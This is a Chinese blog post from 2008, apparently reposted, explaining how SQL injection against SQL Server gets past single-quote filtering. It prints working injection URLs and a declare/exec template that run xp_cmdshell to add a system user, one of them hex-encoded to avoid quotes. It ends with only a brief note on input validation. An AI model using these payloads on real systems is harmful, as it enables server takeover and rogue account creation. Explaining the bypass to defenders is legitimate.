ForWork.Net

欢迎参观ForWork.Net,快乐工作·快乐生活!你我的快乐生活:)

上一篇: 卡巴斯基杀毒软件官方免费赠送1年激活码 下一篇:提前祝大家国庆快乐!

PS:PPT上写的的东西不严谨,找了点资料看下,呵呵,多谢茄子宝提醒。

来源:网络。

我想不少人都看过一些关于SQL Injection针对SQL Server攻击的文章,都是因为变量过滤不足甚至没有过滤而构造畸形SQL语句注入的,包括我写的那篇《SQL Injection的实现与应用》也是这样的例子,因为没有碰到任何的过滤,所以使我们相当轻松就注入成功了,如下:

http://www.ilikeplmm.com/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

  这往往给大家造成误解,认为只要变量过滤了'就可以防止SQL Injection攻击,这种意识为大量程序可以注入埋下祸根,其实仅仅过滤'是不够的,在'被过滤的情况下我们照样玩,看下面语句:

http://www.ilikeplmm.com/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

  是不是跟上面的那句有很大区别?可是效果完全是一样的。其实这些都是SQL语句。

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

  这句是“net user angel pass /add”的16进制格式。了解SQL的朋友就容易明白,先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:

declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a

解决办法:

  过滤变量,限制只允许输入特定字符。比如对于数字类型的变量就限制只能输入数字类型的数据。具体就不说了。这完全是程序作者自由发挥了。

点击这里获取该日志的TrackBack引用地址

  • Gravatar Icon
    回复
  • quote 1.osbin2010/6/23 13:59:39
  • 怎么都转来转去,id这个参数是整型的情况,如果是字符串的呢

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于本文

您正在阅读的是:对网站SQL注入中绕过'(单引号)限制的突破
Person01 发表于:2008-9-24 8:42:41
分类:技术文摘
关键词:sql  注入  安全  代码  

最近发表

最新评论及回复

最近留言

友情链接

控制面板

Search

网站分类

文章归档

图标汇集

订阅ForWork.Net

什么是RSS订阅?查看解释
订阅到您的在线阅读器

抓虾 google reader my yahoo bloglines 鲜果 哪吒

博客作者

Person01

Copyright 2006-2008 ForWork.Net 【快乐工作·快乐生活】 Rights Reserved.  苏ICP备05070716号

Powered By Z-Blog 1.8 Walle Build 100427 Code detection by Codefense 网络支持 网服数据